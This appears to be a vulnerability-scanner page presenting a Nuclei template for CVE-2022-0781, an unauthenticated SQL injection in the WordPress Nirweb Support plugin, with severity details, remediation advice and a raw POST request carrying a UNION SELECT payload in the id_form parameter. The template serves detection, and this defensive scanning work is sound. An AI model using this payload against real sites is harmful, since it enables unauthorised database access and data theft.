WordPress Nirweb Support <2.8.2 - SQL Injection

ID: CVE-2022-0781

Severity: critical

Author: theamanrawat

Tags: cve2022,cve,wordpress,wp-plugin,wp,sqli,wpscan,nirweb-support,unauth,nirweb

Description

WordPress Nirweb support plugin before 2.8.2 contains a SQL injection vulnerability. The plugin does not sanitize and escape a parameter before using it in a SQL statement via an AJAX action. An attacker can possibly obtain sensitive information from a database, modify data, and/or execute unauthorized administrative operations in the context of the affected site.

YAML Source

id: CVE-2022-0781

info:
  name: WordPress Nirweb Support <2.8.2 - SQL Injection
  author: theamanrawat
  severity: critical
  description: |
    WordPress Nirweb support plugin before 2.8.2 contains a SQL injection vulnerability. The plugin does not sanitize and escape a parameter before using it in a SQL statement via an AJAX action. An attacker can possibly obtain sensitive information from a database, modify data, and/or execute unauthorized administrative operations in the context of the affected site.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary SQL queries, potentially leading to unauthorized access, data leakage, or data manipulation.
  remediation: |
    Update to the latest version of the WordPress Nirweb Support plugin (2.8.2 or higher) to mitigate the SQL Injection vulnerability.
  reference:
    - https://wpscan.com/vulnerability/1a8f9c7b-a422-4f45-a516-c3c14eb05161
    - https://wordpress.org/plugins/nirweb-support/
    - https://nvd.nist.gov/vuln/detail/CVE-2022-0781
    - https://github.com/cyllective/CVEs
    - https://github.com/ARPSyndicate/cvemon
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2022-0781
    cwe-id: CWE-89
    epss-score: 0.01278
    epss-percentile: 0.85709
    cpe: cpe:2.3:a:nirweb:nirweb_support:*:*:*:*:*:wordpress:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: nirweb
    product: nirweb_support
    framework: wordpress
  tags: cve2022,cve,wordpress,wp-plugin,wp,sqli,wpscan,nirweb-support,unauth,nirweb
variables:
  num: "999999999"

http:
  - raw:
      - |
        POST /wp-admin/admin-ajax.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        action=answerd_ticket&id_form=1 UNION ALL SELECT NULL,NULL,md5({{num}}),NULL,NULL,NULL,NULL,NULL-- -

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '{{md5(num)}}'

      - type: status
        status:
          - 200
# digest: 490a00463044022005ca61df28479e6b4d6e99f453202407679a2ac9e37a084c9493700c8247ebbc02203d7c93633b0442d6948fd6df1520c38ce0933d681140a75b81e1cf9d14b03e5c:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

$ nuclei -u "URL" -t "http/cves/2022/CVE-2022-0781.yaml"

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